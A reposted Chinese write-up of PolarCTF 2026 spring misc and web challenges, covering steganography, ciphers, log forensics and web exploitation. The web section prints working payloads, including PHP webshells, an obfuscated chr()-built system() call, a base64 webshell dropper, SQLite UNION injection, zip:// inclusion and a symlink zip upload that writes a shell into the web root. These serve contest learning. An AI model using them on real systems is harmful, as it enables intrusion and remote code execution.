PolarCTF2026春季赛 web misc部分解
misc麦填一张图片末尾存在base64编码解码为sevenightnine即789foremost出二维码扫描得到flag头部flag{win789} //拼接time通过对比密文的前4个字母ptdh和明文flag来计算出它们在字母表上的位移差值维吉尼亚p(15)-f(5)10t(19)-l(11)8d(3)-a(0)3h(7)-g(6)1可以看出加密的位移规律是固定的4个数字周期10, 8, 3, 1通过这个位移规律10, 8, 3, 1循环应用到密文上d q p f - 位移 10, 8, 3, 1 - t i m es a j p - 位移 10, 8, 3, 1 - i s g os v j g - 位移 10, 8, 3, 1 - i n g fS V g b - 位移 10, 8, 3, 1 - I N d aV Q I F - 位移 10, 8, 3, 1 - L I F EL W X Z - 位移 10, 8, 3, 1 - B O U Yflag{timeisgoingfINdaLIFEBOUY}PNG头的秘密通过代码提取隐藏的数据信息经过base64解密得到flagdef solve_stego(): # 1. 读取原始图片数据 with open(task.png, rb) as f: data f.read() # 2. 寻找 PNG 的文件尾标识 IEND (十六进制: 49 45 4E 44) iend_idx data.rfind(bIEND) if iend_idx -1: print(未找到 IEND 标识请确认图片是否完整。) return # IEND 块本身占 4 字节后面跟着 4 字节的 CRC 校验码 (通常为 AE 42 60 82) # 所以隐藏数据的起始位置是 IEND 所在位置 8 hidden_data data[iend_idx 8:] if not hidden_data: print(文件末尾没有隐藏数据。) return # 3. 使用 PNG 核心标识 0x89 进行单字节异或解密 key 0x89 decrypted_data bytearray() for byte in hidden_data: decrypted_data.append(byte ^ key) # 4. 保存解密后的数据 with open(decrypted.bin, wb) as f: f.write(decrypted_data) print(f成功提取并解密了 {len(hidden_data)} 字节的数据已保存为 decrypted.bin) # 5. 尝试直接打印其中的 ASCII 字符 (寻找 flag) import re # 匹配通常的 flag 格式如 flag{...} 或 ctf{...} 等 text decrypted_data.decode(utf-8, errorsignore) match re.search(r([a-zA-Z0-9_]{[^}]}), text) if match: print(\n 发现 Flag:, match.group(1)) else: print(\n未直接发现明文 flag请使用 010 Editor 或 HxD 查看 decrypted.bin 的文件头。) print(如果文件头是 50 4B 03 04请将后缀改为 .zip 解压。) solve_stego()flag{573495729345792345}隐藏的二维码stegslove发现隐藏的二维码扫描得到flagflag{qrc0de_1s_h1dden_1n_p1xels}老鹰捉小鸡Game流量包流17找到加密base64解码得到部分flag流量包1导出chicken_secret.zip解压得到另一部分flagflag{catch you} //空格拼接Sis puella magic音频摩斯密码转换得到压缩包密码sispuellamagic根据图片镜像字母提示为magiciswitchdeepsound解密音频得到一个文档文档中密文base64转图片魔法少女文字压缩包密码hope其实也可以直接爆破获得25个txt文件以电脑时间固定为2035/1/11 11:11:11为基准一个文件名对应一个字符位置偏移值恰好是ASCII 码按顺序拼出ASCII值(修改时间的分钟-11)×60(修改时间的秒-11)flag{Now_you_can_go_home}attack_log1nginx_access.log中的日志信息锁定 45.133.12.77 - - [18/Feb/2026:01:28:52 0800] POST /admin/index.php?routecommon/login HTTP/1.1 200 45.133.12.77 - - [18/Feb/2026:01:28:54 0800] GET /admin/index.php?routecommon/dashboarduser_token7f2d...ab91 HTTP/1.1 200 45.133.12.77 - - [18/Feb/2026:01:28:59 0800] POST /admin/index.php?routecommon/filemanager/uploaduser_token7f2d...ab91 HTTP/1.1 200 flag{45.133.12.77}attack_log2nginx_access.log日志文件锁定 45.133.12.77 - - [18/Feb/2026:01:28:52 0800] POST /admin/index.php?routecommon/login HTTP/1.1 200 8342 发起了POST登录并返回 200 flag{2026-02-18 01:28:52}attack_log3nginx_access.log中发现敏感文件探测 103.216.40.77 - - [18/Feb/2026:01:01:53 0800] GET /.env HTTP/1.1 404 103.216.40.77 - - [18/Feb/2026:01:02:01 0800] GET /.env HTTP/1.1 404 103.216.40.77 - - [18/Feb/2026:01:06:15 0800] GET /.env HTTP/1.1 404 103.216.40.77 - - [18/Feb/2026:01:06:16 0800] GET /.env HTTP/1.1 404 flag{/.env}attack_log4nginx_access.log中发现已登录后的token GET /admin/index.php?routecommon/dashboarduser_tokenadmin123 GET /admin/index.php?routecatalog/productuser_tokenadmin123 GET /admin/index.php?routesale/orderuser_tokenadmin123 说明登录后的后台token是user_tokenadmin123 在OpenCart /常见后台中token通常与用户名相关且默认管理员用户名就是admin flag{admin}attack_log5mysql_general.log中发现订单查询 SELECT order_id,total FROM oc_order ORDER BY date_added DESC LIMIT 5; 可以明确看到被查询的表名oc_order flag{oc_order}attack_log6mysql_general.log中发现商品查询 SELECT product_id FROM oc_product WHERE status1 LIMIT 20; SELECT product_id,model,price FROM oc_product ORDER BY date_added DESC LIMIT 5; 可以确定商品表是oc_product flag{oc_product}web新年贺卡根据对已知源代码分析存在rce$name$_POST[template_name]??; $content$_POST[template_content]??; try { TemplateManager::addTemplate($name, $content);所以直接写马GET ?actionadmindebugadd_templatePOST template_nameatemplate_content?php%20system($_POST[word]);%20? //木马文件名会被强制填上php访问传入的马post传参进行rcecoke的粉丝团随便注册一下然后在52页找到十级灯牌根据前端源代码直接在控制台修改变成十级灯牌var form document.querySelector(form[actionbuy.php] input[value520]).parentElement; form.querySelector(input[nameprice]).value 0; form.submit();这时候访问flag告知必须是adminjwt爆破密钥为coke修改admin得到flagThe GIft源代码 变量覆盖?php include config.php; highlight_file(__FILE__); error_reporting(0); class ConfigModel { public $apiKey ; public $isAdmin false; public $requestTime 0; public function __construct() { $this-requestTime time(); $this-apiKey md5($_SERVER[REMOTE_ADDR] . rand(1, 99999) . S4ltY_String); } public function validateApiKey($inputKey) { if ($inputKey $this-apiKey) { $this-isAdmin true; return true; } return false; } } $config new ConfigModel(); $requestData array_merge($_GET, $_POST); foreach ($requestData as $key $value) { $$key $value; #直接将用户输入作为变量名变量覆盖 } if (isset($user_api_key)) { $config-validateApiKey($user_api_key); } if (is_array($config) isset($config[isAdmin]) $config[isAdmin] true) { die(Success . $FLAG); #需要满足条件 } else { echo brAccess Denied.; } ? Access Denied.payloadGET /?config[isAdmin]truesql_search测试出单引号注入并且有三列然后就是注意这是sqlite数据库得到表名 union select 1,group_concat(name),3 from sqlite_master where typetable --直接从表名从查询flag得到flag值 union select 1,flag,3 from flaggggggggggg --Signed_Too_Weak比赛时非预期dirsearch扫描出flag.txt直接访问得到flag预期做法应该是爆破jwt密钥为polar修改jwt为admin权限从而得到flagStatic源码分析?php highlight_file(__FILE__); error_reporting(E_ALL); function hard_filter($file) { $ban_extend array(php://, zip://, data://, %2f, %00, \\); foreach ($ban_extend as $ban) { if (stristr($file, $ban)) { return false; } } $ban_keywords array(eval, system, exec, passthru, shell_exec, assert, ../); foreach ($ban_keywords as $keyword) { if (stristr($file, $keyword)) { $count 0; $file str_replace($keyword, , $file, $count); break; #遇到黑名单就就停止循环开始../flag到上一级根目录 } } $file rtrim($file, /); if (strpos($file, static/) ! 0) { return false; #不以 static/ 开头就直接拒绝 } return true; } $file $_GET[file] ?? ; if (!hard_filter($file)) { die(Illegal request!); } $real_file $file . .php; #自动加了php后缀 $real_path realpath($real_file) ?: $real_file; echo br 调试信息 br; echo 1. 原始输入: . htmlspecialchars($_GET[file] ?? ) . br; echo 2. 过滤后file: . htmlspecialchars($file) . br; echo 3. 拼接后的路径: . htmlspecialchars($real_file) . br; echo 4. 真实解析路径: . htmlspecialchars($real_path) . br; echo 5. 文件是否存在: . (file_exists($real_path) ? 是 : 否) . br; if (file_exists($real_path)) { echo 6. 正在包含文件...br; ob_start(); include($real_path); $content ob_get_clean(); echo 7. 文件内容: . htmlspecialchars($content) . br; } else { echo 6. 错误文件不存在br; } ? Illegal request!payloadGET /?filestatic/system/../flag //先在想要访问的文件前随便写一个黑名单函数名杰尼龟系统没有过滤全局寻找flagls /下flag是错的正确flag在/var/tmp/flagPandora Box通过上传jpg文件并访问文件位置得到的报错信息可以得知index.php用include($_GET[file]) 来包含文件存在文件包含漏洞并且强制在文件后面添加了php后缀同样我们可以用php://filter读取index.php源码base64解密!DOCTYPE html html langzh-CN head meta charsetUTF-8 titleSecure Image Loader/title style body { font-family: Courier New, monospace; background: #1e1e1e; color: #c0c0c0; text-align: center; padding-top: 50px; } .container { width: 800px; margin: 0 auto; background: #2d2d2d; padding: 30px; border-radius: 8px; box-shadow: 0 0 20px rgba(0,0,0,0.7); } h1 { color: #fff; border-bottom: 2px solid #444; padding-bottom: 10px; } .hint { background: #3c3c3c; padding: 15px; border-left: 5px solid #007bff; text-align: left; margin-bottom: 20px; color: #ddd; } input[typefile] { background: #444; color: #fff; padding: 10px; border: 1px solid #555; width: 100%; box-sizing: border-box; } .btn { background: #007bff; color: white; border: none; padding: 12px 30px; margin-top: 15px; cursor: pointer; font-size: 16px; transition: 0.3s; } .btn:hover { background: #0056b3; } .log-box { text-align: left; background: #111; color: #ff6b6b; padding: 15px; border: 1px solid #aa0000; margin-top: 20px; font-size: 14px; overflow-x: auto; } .success { color: #51cf66; font-weight: bold; } /style /head body div classcontainer h1试试吧/h1 div classhint pstrong[提示]:/strong/p ul li安全策略仅允许上传 strong.jpg/strong 或 strong.png/strong 格式/li li执行策略所有文件最终将被强制视为 strongPHP脚本/strong /li /ul /div form action methodpost enctypemultipart/form-data input typefile namefile br input typesubmit valueUPLOAD IMAGE classbtn /form ?php ini_set(display_errors, 1);//开启报错 error_reporting(E_ALL); if (isset($_FILES[file])) {//检查 $file $_FILES[file]; $name $file[name]; $ext pathinfo($name, PATHINFO_EXTENSION);//PATHINFO_EXTENSION取后缀 if (in_array($ext, [jpg, png])) {//匹配后缀 $upload_dir upload/; if (!is_dir($upload_dir)) mkdir($upload_dir);//创建一个存放上传的目录 $new_name $upload_dir . md5(uniqid()) . . . $ext;//生成文件的唯一的id名称 if (move_uploaded_file($file[tmp_name], $new_name)) {//将文件从保存到upload echo p classsuccess[] Upload Success! Path: . $new_name . /p; echo a href?file . $new_name . target_blank点击跳转/a; } else { echo p stylecolor:red上传失败/p; } } else { die(p stylecolor:red; font-weight:bold;[!] 不要耍小聪明! 只允许什么你知道的/p); } } // 2. 漏洞逻辑 (黑盒) if (isset($_GET[file])) { $file $_GET[file]; echo div classlog-boxstrong[System Error Log]:/strongbr; // 绝杀点 // 强制拼接 .php导致普通图片马失效 // 选手必须看到报错 include(xxx.jpg.php) 才能反应过来 include($file . .php); echo /div; } ? /div /body /html正是因为php的强制拼接我们采用zip://协议使其拼接的.php变成zip内部文件名的一部分正好对应了我们要上传的一句话木马将一句话木马php压缩成zip文件再将其改为jpg文件绕过前端上传最后使用zip://协议包含解析其中的木马zip://是PHP流协议语法是zip://zip文件路径#zip内部文件名注意使用hackbar时将#号转换为%23云中来信考点是ssrf需要通过绕过黑名单并且通过题目名称提示利用云元数据去得到泄露信息所以我们访问/latest/meta-data路径顺着要求写好请求头所需token最后访问结果路径得到flag并发上传根据题目可知要打条件竞争由于我们上传的文件还没来得及访问就已经被删掉了所以一边我们要一直上传我们的竞争文件另一边要不断访问这个竞争文件如果访问成功说明它已经将我们的小马写进去了从而可以访问upload/shell.php成功getshellflag在html目录下?php eval($_POST[cmd]); fwrite(fopen(shell.php,w), ?php eval($_POST[\cmd\]); ?); ?GET扫描目录发现robot.txt提示采用文件包含同时上传文件的时候发现有很多都被过滤了不仅是对文件后缀过滤并且对文件内容也有过滤所以这里对于普通的一句话木马已经行不通了可以通过上传拼接ascii值达到函数执行并且双写后缀绕过黑名单?php $funcchr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $cmd; $cmd_chars[108, 115, 32, 47, 118, 97, 114, 47, 119, 119, 119, 47, 104, 116, 109, 108]; foreach($cmd_chars as $ascii){ $cmd.chr($ascii); } $func($cmd); ? #system(ls /var/www/html)查看/var/www/html目录下的文件访问上传路径直接回显同样使用相同方法cat可以查看其中的一个php文件也是提示说文件包含那就在该文件下直接包含剩下的那个php文件flag就出现了其实也可以直接cat另一个phpflag也是可以找到的用base64绕过内容检测也是可以的?php file_put_contents(c.php,base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8)); ? #?php eval($_POST[cmd]);?狗黑子最后的起舞启动靶机扫描发现注册登录口随便注册一下登录进去说没有flag也没有找到其他的有效信息但是跳转的网页位置有些可疑继续扫描一下该目录发现git泄露提取一下得到gouheizi.php的源代码?php if (isset($_FILES[file])) { $f $_FILES[file]; if ($f[error] UPLOAD_ERR_OK) { $dest /etc/ . time() . _ . basename($f[name]); #上传的文件保存到/etc/时间戳_原文件名 if (move_uploaded_file($f[tmp_name], $dest)) { $escapedDest escapeshellarg($dest); exec(unzip -o $escapedDest -d /etc/ 21); #解压到/etc/目录下 if ($code ! 0) { exec(unzip -o $escapedDest -d /etc/ 21); } unlink($dest); #解压完删除zip文件 echo ghz; } } }因为把上传文件都保存到了/etc/目录下所以需要通过软链接的方式进入/var/www/html根目录从而实现任意文件读取我们将11.zip和22.zip依次上传压缩包会被解压到/etc/目录下上传第一个11.zip时/etc/link被创建为指向/var/www/html的软链接上传第二个22.zip时unzip尝试将shell.php解压到/etc/link/目录下但由于/etc/link是软链接指向/var/www/html文件实际上被写入到了/var/www/html/shell.php此时shell.php位于web可访问目录访问/shell.php执行rce即可getshell。# 第一步建立软链接ln -s /var/www/html linkzip --symlinks 11.zip link压缩软连接上传之后会将/link文件夹链接到/var/www/html# 第二步创建同名真实目录放入木马mkdir linkecho ?php eval($_POST[cmd]);? link/shell.php# 第三步压缩此时link是真实目录含shell.phpzip -r 22.zip link/上传压缩包软连接覆盖到/var/www/html文件夹访问后门木马文件shell.php自定义post网页!DOCTYPE html html langen head meta charsetUTF-8 meta nameviewport contentwidthdevice-width, initial-scale1.0 titlePOST数据包POC/title /head body form actionhttp://../ghzpolar/gouheizi.php methodpost enctypemultipart/form-data !--链接是当前打开的题目链接-- label forfile文件名/label input typefile namefile idfilebr input typesubmit namesubmit value提交 /form /body /html
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2447685.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!